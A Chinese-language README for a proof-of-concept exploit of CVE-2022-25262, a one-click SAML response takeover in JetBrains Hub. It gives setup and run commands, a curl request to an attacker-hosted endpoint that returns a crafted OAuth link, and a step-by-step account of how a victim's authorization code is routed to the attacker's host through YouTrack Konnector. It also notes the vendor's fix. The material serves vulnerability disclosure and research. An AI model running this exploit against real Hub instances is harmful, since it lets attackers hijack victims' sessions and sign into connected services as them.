针对 CVE-2022-25262 的 PoC + 漏洞详情 | JetBrains Hub 单次点击 SAML 响应接管
安装并运行:
$ git clone https://github.com/yuriisanin/CVE-2022-25262
$ cd CVE-2022-25262/
$ pip3 install -r requirements.txt
$ python3 exploit.py -h
usage: exploit.py [-h] [-p P]
optional arguments:
-h, --help show this help message and exit
-p P Uvicorn port
# If you run the exploit on the local machine, you might need to use Ngrok or alternatives.
$ ngrok http 8000
使用方法:
查询参数:
获取利用链接:
$ curl -v "http://{exploit-host}/get-exploit-link?hub_url=https://hub.jetbrains.com&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml"
* Trying {exploit-host-ip}:80...
* Connected to {exploit-host} ({exploit-host-ip}) port 80 (#0)
> GET /get-exploit-link?hub_url=https://hub.jetbrains.com&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml HTTP/1.1
> Host: {exploit-host-ip}
> User-Agent: curl/7.77.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Length: 341
< Content-Type: application/json
< Date: Sat, 30 Apr 2022 19:14:45 GMT
< Server: uvicorn
<
* Connection #0 to host {exploit-host-ip} left intact
{"exploit_url":"https://hub.jetbrains.com/api/rest/oauth2/auth?client_id=fd6b45e6-4a91-4574-9fcf-ebc6926f6378&response_type=code&scope=Hub+YouTrack+TeamCity+Upsource+fd6b45e6-4a91-4574-9fcf-ebc6926f6378&state=fhdyaaf&access_type=offline&redirectURI=https://konnector.services.jetbrains.com/ring/oauth"}
演示:
该弱点由两部分组成:
SAML IdP 作为 OAuth 的扩展运行。当某个特定用户想要登录某个特定服务提供商时,他会走 OAuth 授权码授权流程 (请求 1-2),一旦获得授权码,便会将授权码返回给 Hub (请求 3)。Hub 获取与该授权码关联的用户信息,并为该服务签发签名的 SAML 响应。尽管 SAML IdP 使用 Hub OAuth2 客户端(client_id=0-0-0-0-0)进行集成,但它不会检查授权码是代表哪个 OAuth 客户端签发的。这里唯一重要的是授权码是否有效。如果攻击者找到从 Hub 中注册的任意 OAuth 客户端接管授权码的方法,就可能导致 SAML 响应被接管。

YouTrack Konnector 是一项第一方服务,允许将特定的 YouTrack 实例与其 Slack 机器人连接。该服务接收 YouTrack 的 URL 地址以及 Konnector OAuth 客户端的 id 和 secret (请求 1)。然后,它会尝试通过调用多个 API 端点(“握手”请求 2-3)来验证所提供的 URL 是否指向有效的 YouTrack。如果一切正常,Konnector 将返回一个 URL,该 URL 允许特定用户继续执行 OAuth 授权码授权流程 (响应 1)。该 URL 包含一个“state”查询参数,用于帮助 Konnector 将 OAuth 授权码路由到相应的处理程序(Hub 实例)。 攻击者可以创建一个托管“握手”所需端点的主机,并获取一个指向攻击者主机的“state”参数。之后,攻击者可以构造 OAuth 授权 URL 并将其发送给受害者。 如果受害者点击链接并完成 OAuth 流程(受害者需要在 Hub 中拥有有效的会话),Konnector 服务将收到授权码并将其发送到攻击者的主机 (请求 4-6)。

YouTrack 团队新增了一项检查,允许在“OAuth2 -> SAML”交换过程中使用为“JetBrains Hub Service”OAuth 客户端签发的授权码。因此,无法兑换为“YouTrack Konnector”OAuth 客户端签发的授权码。
| 名称 | 描述 | 是否必需 |
|---|
| hub_url | 目标 Hub 实例的 URL | ✅ |
| issuer | SAML 签发者 | ✅ |
| acs_url | 断言消费者服务 URL | ✅ |
| youtrack_url | 与 Hub 关联的 YouTrack 实例的 URL(如果禁用了访客用户,则为必需) | ❔ |